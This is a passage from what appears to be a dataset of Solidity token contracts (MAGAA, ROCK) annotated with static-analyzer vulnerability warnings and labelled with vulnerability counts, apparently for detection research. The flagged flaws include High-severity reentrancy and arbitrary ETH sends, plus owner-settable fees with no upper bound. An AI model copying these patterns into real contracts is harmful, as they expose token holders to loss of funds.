newOwner;\n\n emit OwnershipTransferred(oldOwner, newOwner);\n }\n}\n\ninterface IERC20 {\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(address to, uint256 value) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 value) external returns (bool);\n\n function transferFrom(\n address from,\n address to,\n uint256 value\n ) external returns (bool);\n}\n\ninterface IERC20Metadata is IERC20 {\n function name() external view returns (string memory);\n\n function symbol() external view returns (string memory);\n\n function decimals() external view returns (uint8);\n}\n\nabstract contract ERC20 is Context, IERC20, IERC20Metadata, IERC20Errors {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n uint256 private _totalSupply;\n\n string private _name;\n\n string private _symbol;\n\n constructor(string memory name_, string memory symbol_) {\n _name = name_;\n\n _symbol = symbol_;\n }\n\n function name() public view virtual returns (string memory) {\n return _name;\n }\n\n function symbol() public view virtual returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view virtual returns (uint8) {\n return 18;\n }\n\n function totalSupply() public view virtual returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view virtual returns (uint256) {\n return _balances[account];\n }\n\n function transfer(address to, uint256 value) public virtual returns (bool) {\n address owner = _msgSender();\n\n _transfer(owner, to, value);\n\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 value\n ) public virtual returns (bool) {\n address owner = _msgSender();\n\n _approve(owner, spender, value);\n\n return true;\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 value\n ) public virtual returns (bool) {\n address spender = _msgSender();\n\n _spendAllowance(from, spender, value);\n\n _transfer(from, to, value);\n\n return true;\n }\n\n function _transfer(address from, address to, uint256 value) internal {\n if (from == address(0)) {\n revert ERC20InvalidSender(address(0));\n }\n\n if (to == address(0)) {\n revert ERC20InvalidReceiver(address(0));\n }\n\n _update(from, to, value);\n }\n\n function _update(address from, address to, uint256 value) internal virtual {\n if (from == address(0)) {\n\t\t\t// reentrancy-eth | ID: 6ff8926\n _totalSupply += value;\n } else {\n uint256 fromBalance = _balances[from];\n\n if (fromBalance < value) {\n revert ERC20InsufficientBalance(from, fromBalance, value);\n }\n\n unchecked {\n\t\t\t\t// reentrancy-eth | ID: 6ff8926\n _balances[from] = fromBalance - value;\n }\n }\n\n if (to == address(0)) {\n unchecked {\n\t\t\t\t// reentrancy-eth | ID: 6ff8926\n _totalSupply -= value;\n }\n } else {\n unchecked {\n\t\t\t\t// reentrancy-eth | ID: 6ff8926\n _balances[to] += value;\n }\n }\n\n\t\t// reentrancy-events | ID: ad584bb\n emit Transfer(from, to, value);\n }\n\n function _mint(address account, uint256 value) internal {\n if (account == address(0)) {\n revert ERC20InvalidReceiver(address(0));\n }\n\n _update(address(0), account, value);\n }\n\n function _burn(address account, uint256 value) internal {\n if (account == address(0)) {\n revert ERC20InvalidSender(address(0));\n }\n\n _update(account, address(0), value);\n }\n\n function _approve(address owner, address spender, uint256 value) internal {\n _approve(owner, spender, value, true);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 value,\n bool emitEvent\n ) internal virtual {\n if (owner == address(0)) {\n revert ERC20InvalidApprover(address(0));\n }\n\n if (spender == address(0)) {\n revert ERC20InvalidSpender(address(0));\n }\n\n _allowances[owner][spender] = value;\n\n if (emitEvent) {\n\t\t\t// reentrancy-events | ID: e968bfd\n emit Approval(owner, spender, value);\n }\n }\n\n function _spendAllowance(\n address owner,\n address spender,\n uint256 value\n ) internal virtual {\n uint256 currentAllowance = allowance(owner, spender);\n\n if (currentAllowance != type(uint256).max) {\n if (currentAllowance < value) {\n revert ERC20InsufficientAllowance(\n spender,\n currentAllowance,\n value\n );\n }\n\n unchecked {\n _approve(owner, spender, currentAllowance - value, false);\n }\n }\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint256 amountIn,\n uint256 amountOutMin,\n address[] calldata path,\n address to,\n uint256 deadline\n ) external;\n\n function addLiquidityETH(\n address token,\n uint256 amountTokenDesired,\n uint256 amountTokenMin,\n uint256 amountETHMin,\n address to,\n uint256 deadline\n )\n external\n payable\n returns (uint256 amountToken, uint256 amountETH, uint256 liquidity);\n}\n\ncontract MAGAA is ERC20, Ownable {\n uint256 private constant MAX_SUPPLY = 1_000_000_000 * 1e18;\n\n uint256 public constant FEE_DIVISOR = 10000;\n\n uint256 public maxAmountPerTx = (MAX_SUPPLY * 2) / 100;\n\n uint256 public maxWalletAmount = (MAX_SUPPLY * 2) / 100;\n\n uint256 public swapTokensAtAmount = MAX_SUPPLY / 100000;\n\n mapping(address => bool) public isExcludedFromFees;\n\n mapping(address => bool) public isMarketMakerPair;\n\n struct BuyFee {\n uint256 marketing;\n uint256 donation;\n uint256 autoLp;\n }\n\n struct SellFee {\n uint256 marketing;\n uint256 donation;\n uint256 autoLp;\n }\n\n BuyFee public buyFee;\n\n SellFee public sellFee;\n\n uint256 public totalBuyFee;\n\n uint256 public totalSellFee;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 942f6f3): MAGAA.uniswapV2Pair should be immutable \n\t// Recommendation for 942f6f3: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public uniswapV2Pair;\n\n address public marketingWallet;\n\n address public donationWallet;\n\n bool swapping;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 827888f): MAGAA.uniswapV2Router should be immutable \n\t// Recommendation for 827888f: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n IUniswapV2Router02 public uniswapV2Router;\n\n error UpdateBoolValue();\n\n error OnlyMarketingWallet();\n\n error EthRescueFailed();\n\n error CannotModifyMainPair();\n\n error MaxBuyPerTxExceeds();\n\n error MaxSellPerTxExceeds();\n\n error MaxWalletLimitExceeds();\n\n event SellFeesUpdated(uint256 mkt, uint256 dn, uint256 lp);\n\n event BuyFeesUpdated(uint256 mkt, uint256 dn, uint256 lp);\n\n event WalletsUpdated(address mkt, address donation);\n\n constructor() ERC20(\"MAGA AGAIN\", \"MAGAA\") Ownable(msg.sender) {\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n isMarketMakerPair[uniswapV2Pair] = true;\n\n buyFee.marketing = 100;\n\n buyFee.donation = 100;\n\n buyFee.autoLp = 100;\n\n totalBuyFee = 300;\n\n sellFee.marketing = 100;\n\n sellFee.donation = 100;\n\n sellFee.autoLp = 100;\n\n totalSellFee = 300;\n\n marketingWallet = address(0x88E947e7fc448095388C46eC3a387719D5a6AD92);\n\n donationWallet = address(0xD492D15220Cfd4fb627d573d1d4317D731655996);\n\n isExcludedFromFees[address(this)] = true;\n\n isExcludedFromFees[owner()] = true;\n\n _mint(msg.sender, MAX_SUPPLY);\n }\n\n receive() external payable {}\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 498c700): MAGAA.claimStuckERC20(address,uint256,address).token lacks a zerocheck on \t (success,data) = token.call(abi.encodeWithSelector(0xa9059cbb,wallet,value))\n\t// Recommendation for 498c700: Check that the address is not zero.\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: b1a7a8e): MAGAA.claimStuckERC20(address,uint256,address).wallet lacks a zerocheck on \t (success,data) = token.call(abi.encodeWithSelector(0xa9059cbb,wallet,value))\n\t// Recommendation for b1a7a8e: Check that the address is not zero.\n function claimStuckERC20(\n address token,\n uint256 value,\n address wallet\n ) external {\n if (msg.sender != marketingWallet) {\n revert OnlyMarketingWallet();\n }\n\n\t\t// missing-zero-check | ID: b1a7a8e\n\t\t// missing-zero-check | ID: 498c700\n (bool success, bytes memory data) = token.call(\n abi.encodeWithSelector(0xa9059cbb, wallet, value)\n );\n\n require(\n success && (data.length == 0 || abi.decode(data, (bool))),\n \"ERC20: TRANSFER_FAILED\"\n );\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: a9b862f): MAGAA.claimStuckEth(address).wallet lacks a zerocheck on \t (sent,None) = wallet.call{value address(this).balance}()\n\t// Recommendation for a9b862f: Check that the address is not zero.\n function claimStuckEth(address wallet) external {\n if (msg.sender != marketingWallet) {\n revert OnlyMarketingWallet();\n }\n\n\t\t// missing-zero-check | ID: a9b862f\n (bool sent, ) = wallet.call{value: address(this).balance}(\"\");\n\n if (!sent) {\n revert EthRescueFailed();\n }\n }\n\n function excludeFromFees(address account, bool value) external onlyOwner {\n if (isExcludedFromFees[account] != value) {\n isExcludedFromFees[account] = value;\n } else {\n revert UpdateBoolValue();\n }\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 5be9448): MAGAA.setMaxAmountPerTx(uint256) should emit an event for maxAmountPerTx = (MAX_SUPPLY * percent) / 100 \n\t// Recommendation for 5be9448: Emit an event for critical parameter changes.\n function setMaxAmountPerTx(uint256 percent) external onlyOwner {\n if (percent >= 1) {\n\t\t\t// events-maths | ID: 5be9448\n maxAmountPerTx = (MAX_SUPPLY * percent) / 100;\n }\n }\n\n function setMarketPair(address pair, bool value) external onlyOwner {\n if (pair == uniswapV2Pair) {\n revert CannotModifyMainPair();\n }\n\n isMarketMakerPair[pair] = value;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 1aaa64b): MAGAA.setMaxWalletPercent(uint256) should emit an event for maxWalletAmount = (MAX_SUPPLY * percent) / 100 \n\t// Recommendation for 1aaa64b: Emit an event for critical parameter changes.\n function setMaxWalletPercent(uint256 percent) external onlyOwner {\n if (percent >= 1) {\n\t\t\t// events-maths | ID: 1aaa64b\n maxWalletAmount = (MAX_SUPPLY * percent) / 100;\n }\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 80d997b): MAGAA.setSwapTokensAtAmount(uint256) should emit an event for swapTokensAtAmount = MAX_SUPPLY / 1000 swapTokensAtAmount = amount \n\t// Recommendation for 80d997b: Emit an event for critical parameter changes.\n function setSwapTokensAtAmount(uint256 tokens) external onlyOwner {\n uint256 amount = tokens * 1e18;\n\n if (amount >= MAX_SUPPLY / 1000) {\n\t\t\t// events-maths | ID: 80d997b\n swapTokensAtAmount = MAX_SUPPLY / 1000;\n } else {\n\t\t\t// events-maths | ID: 80d997b\n swapTokensAtAmount = amount;\n }\n }\n\n function setBuyFees(\n uint256 mkt,\n uint256 dn,\n uint256 lp\n ) external onlyOwner {\n buyFee.marketing = mkt;\n\n buyFee.donation = dn;\n\n buyFee.autoLp = lp;\n\n totalBuyFee = mkt + dn + lp;\n\n emit BuyFeesUpdated(mkt, dn, lp);\n }\n\n function setSellFees(\n uint256 mkt,\n uint256 dn,\n uint256 lp\n ) external onlyOwner {\n sellFee.marketing = mkt;\n\n sellFee.donation = dn;\n\n sellFee.autoLp = lp;\n\n totalSellFee = mkt + dn + lp;\n\n emit SellFeesUpdated(mkt, dn, lp);\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: d048f32): MAGAA.setFeesWallets(address,address).marketing lacks a zerocheck on \t marketingWallet = marketing\n\t// Recommendation for d048f32: Check that the address is not zero.\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 740daf9): MAGAA.setFeesWallets(address,address).donation lacks a zerocheck on \t donationWallet = donation\n\t// Recommendation for 740daf9: Check that the address is not zero.\n function setFeesWallets(\n address marketing,\n address donation\n ) external onlyOwner {\n\t\t// missing-zero-check | ID: d048f32\n marketingWallet = marketing;\n\n\t\t// missing-zero-check | ID: 740daf9\n donationWallet = donation;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: ad584bb): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for ad584bb: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 6ff8926): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 6ff8926: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (uninitialized-local | severity: Medium | ID: 5682025): MAGAA._update(address,address,uint256).fee is a local variable never initialized\n\t// Recommendation for 5682025: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n function _update(\n address from,\n address to,\n uint256 amount\n ) internal override {\n bool takeFee = true;\n\n if (isExcludedFromFees[from] || isExcludedFromFees[to]) {\n takeFee = false;\n }\n\n if (takeFee) {\n uint256 fee;\n\n if (!isMarketMakerPair[to]) {\n if (amount + balanceOf(to) > maxWalletAmount) {\n revert MaxWalletLimitExceeds();\n }\n }\n\n if (isMarketMakerPair[from]) {\n if (amount > maxAmountPerTx) {\n revert MaxBuyPerTxExceeds();\n }\n\n if (totalBuyFee > 0) {\n fee = (amount * totalBuyFee) / FEE_DIVISOR;\n }\n } else if (isMarketMakerPair[to]) {\n if (amount > maxAmountPerTx) {\n revert MaxSellPerTxExceeds();\n }\n\n if (totalSellFee > 0) {\n fee = (amount * totalSellFee) / FEE_DIVISOR;\n }\n }\n\n amount = amount - fee;\n\n if (fee > 0) {\n super._update(from, address(this), fee);\n }\n }\n\n uint256 contractBalance = balanceOf(address(this));\n\n bool canSwap = contractBalance >= swapTokensAtAmount &&\n !isMarketMakerPair[from] &&\n (!isExcludedFromFees[from]) &&\n !swapping;\n\n if (canSwap) {\n swapping = true;\n\n\t\t\t// reentrancy-events | ID: ad584bb\n\t\t\t// reentrancy-eth | ID: 6ff8926\n swapAndLiquify(contractBalance);\n\n\t\t\t// reentrancy-eth | ID: 6ff8926\n swapping = false;\n }\n\n\t\t// reentrancy-events | ID: ad584bb\n\t\t// reentrancy-eth | ID: 6ff8926\n super._update(from, to, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: e968bfd): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for e968bfd: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 63c2e4a): Solidity's integer division truncates. Thus, performing division before multiplication can lead to precision loss.\n\t// Recommendation for 63c2e4a: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 6276f9b): Solidity's integer division truncates. Thus, performing division before multiplication can lead to precision loss.\n\t// Recommendation for 6276f9b: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: c12b0bf): Unprotected call to a function sending Ether to an arbitrary address.\n\t// Recommendation for c12b0bf: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function swapAndLiquify(uint256 tokens) private {\n if (totalBuyFee > 0 || totalSellFee > 0) {\n uint256 ethBeforeSwap = address(this).balance;\n\n\t\t\t// divide-before-multiply | ID: 63c2e4a\n uint256 tokensForLP = (tokens * (buyFee.autoLp + sellFee.autoLp)) /\n (totalBuyFee + totalSellFee) /\n 2;\n\n\t\t\t// divide-before-multiply | ID: 6276f9b\n uint256 tokensForDonation = (tokens *\n (buyFee.donation + sellFee.donation)) /\n (totalBuyFee + totalSellFee);\n\n uint256 tokensToSwap = tokens - tokensForLP;\n\n if (tokensToSwap > 0) {\n\t\t\t\t// reentrancy-events | ID: e968bfd\n swapForEth(tokensToSwap);\n\n uint256 ethAfterSwap = address(this).balance - ethBeforeSwap;\n\n\t\t\t\t// divide-before-multiply | ID: 63c2e4a\n uint256 ethForlp = (ethAfterSwap * tokensForLP) / tokensToSwap;\n\n\t\t\t\t// divide-before-multiply | ID: 6276f9b\n uint256 ethForDonation = (ethAfterSwap * tokensForDonation) /\n tokensToSwap;\n\n if (tokensForLP > 0 && ethForlp > 0) {\n\t\t\t\t\t// reentrancy-events | ID: e968bfd\n addLiquidity(ethForlp, tokensForLP);\n }\n\n if (ethForDonation > 0) {\n bool sent;\n\n\t\t\t\t\t// reentrancy-events | ID: ad584bb\n\t\t\t\t\t// reentrancy-eth | ID: 6ff8926\n\t\t\t\t\t// arbitrary-send-eth | ID: c12b0bf\n (sent, ) = donationWallet.call{value: ethForDonation}(\"\");\n }\n\n if (address(this).balance > 0) {\n bool sent1;\n\n\t\t\t\t\t// reentrancy-events | ID: ad584bb\n\t\t\t\t\t// reentrancy-eth | ID: 6ff8926\n\t\t\t\t\t// arbitrary-send-eth | ID: c12b0bf\n (sent1, ) = marketingWallet.call{\n value: address(this).balance\n }(\"\");\n }\n }\n }\n }\n\n function swapForEth(uint256 tokens) private {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n if (allowance(address(this), address(uniswapV2Router)) < tokens) {\n _approve(\n address(this),\n address(uniswapV2Router),\n type(uint256).max\n );\n }\n\n\t\t// reentrancy-events | ID: ad584bb\n\t\t// reentrancy-events | ID: e968bfd\n\t\t// reentrancy-eth | ID: 6ff8926\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokens,\n 0,\n path,\n address(this),\n block.timestamp + 360\n );\n }\n\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: a5d405d): MAGAA.addLiquidity(uint256,uint256) ignores return value by uniswapV2Router.addLiquidityETH{value eth}(address(this),tokens,0,0,address(0xdead),block.timestamp + 360)\n\t// Recommendation for a5d405d: Ensure that all the return values of the function calls are used.\n function addLiquidity(uint256 eth, uint256 tokens) private {\n if (allowance(address(this), address(uniswapV2Router)) < tokens) {\n _approve(\n address(this),\n address(uniswapV2Router),\n type(uint256).max\n );\n }\n\n\t\t// reentrancy-events | ID: ad584bb\n\t\t// reentrancy-events | ID: e968bfd\n\t\t// unused-return | ID: a5d405d\n\t\t// reentrancy-eth | ID: 6ff8926\n uniswapV2Router.addLiquidityETH{value: eth}(\n address(this),\n tokens,\n 0,\n 0,\n address(0xdead),\n block.timestamp + 360\n );\n }\n}\n",
"file_name": "solidity_code_10642.sol",
"size_bytes": 24360,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract ROCK is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n mapping(address => bool) private bots;\n\n\t// WARNING Optimization Issue (immutable-states | ID: c85776d): ROCK._taxWallet should be immutable \n\t// Recommendation for c85776d: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: 77d089d): ROCK._initialBuyTax should be constant \n\t// Recommendation for 77d089d: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 21;\n\n\t// WARNING Optimization Issue (constable-states | ID: 7ae5abb): ROCK._initialSellTax should be constant \n\t// Recommendation for 7ae5abb: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 21;\n\n uint256 private _finalBuyTax = 0;\n\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: abf5934): ROCK._reduceBuyTaxAt should be constant \n\t// Recommendation for abf5934: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 5;\n\n\t// WARNING Optimization Issue (constable-states | ID: 4b62c02): ROCK._reduceSellTaxAt should be constant \n\t// Recommendation for 4b62c02: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 5;\n\n\t// WARNING Optimization Issue (constable-states | ID: 317248d): ROCK._preventSwapBefore should be constant \n\t// Recommendation for 317248d: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 26;\n\n uint256 private _transferTax = 0;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 1000000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"PET SPACE ROCK\";\n\n string private constant _symbol = unicode\"ROCK\";\n\n uint256 public _maxTxAmount = 13000000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 13000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 23bb6d3): ROCK._taxSwapThreshold should be constant \n\t// Recommendation for 23bb6d3: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 10000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: ad34b2a): ROCK._maxTaxSwap should be constant \n\t// Recommendation for ad34b2a: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 10000000 * 10 ** _decimals;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n event TransferTaxUpdated(uint _tax);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(0x3d520351C7E0A4E001F97a030bA3D9b1922e6c90);\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 5237048): ROCK.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 5237048: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 144f682): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 144f682: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 47a5a2a): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 47a5a2a: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 144f682\n\t\t// reentrancy-benign | ID: 47a5a2a\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 144f682\n\t\t// reentrancy-benign | ID: 47a5a2a\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 650e71b): ROCK._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 650e71b: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 47a5a2a\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 144f682\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 087320c): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 087320c: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 420d281): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 420d281: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner()) {\n require(!bots[from] && !bots[to]);\n\n if (_buyCount == 0) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n }\n\n if (_buyCount > 0) {\n taxAmount = amount.mul(_transferTax).div(100);\n }\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < 3, \"Only 3 sells per block!\");\n\n\t\t\t\t// reentrancy-events | ID: 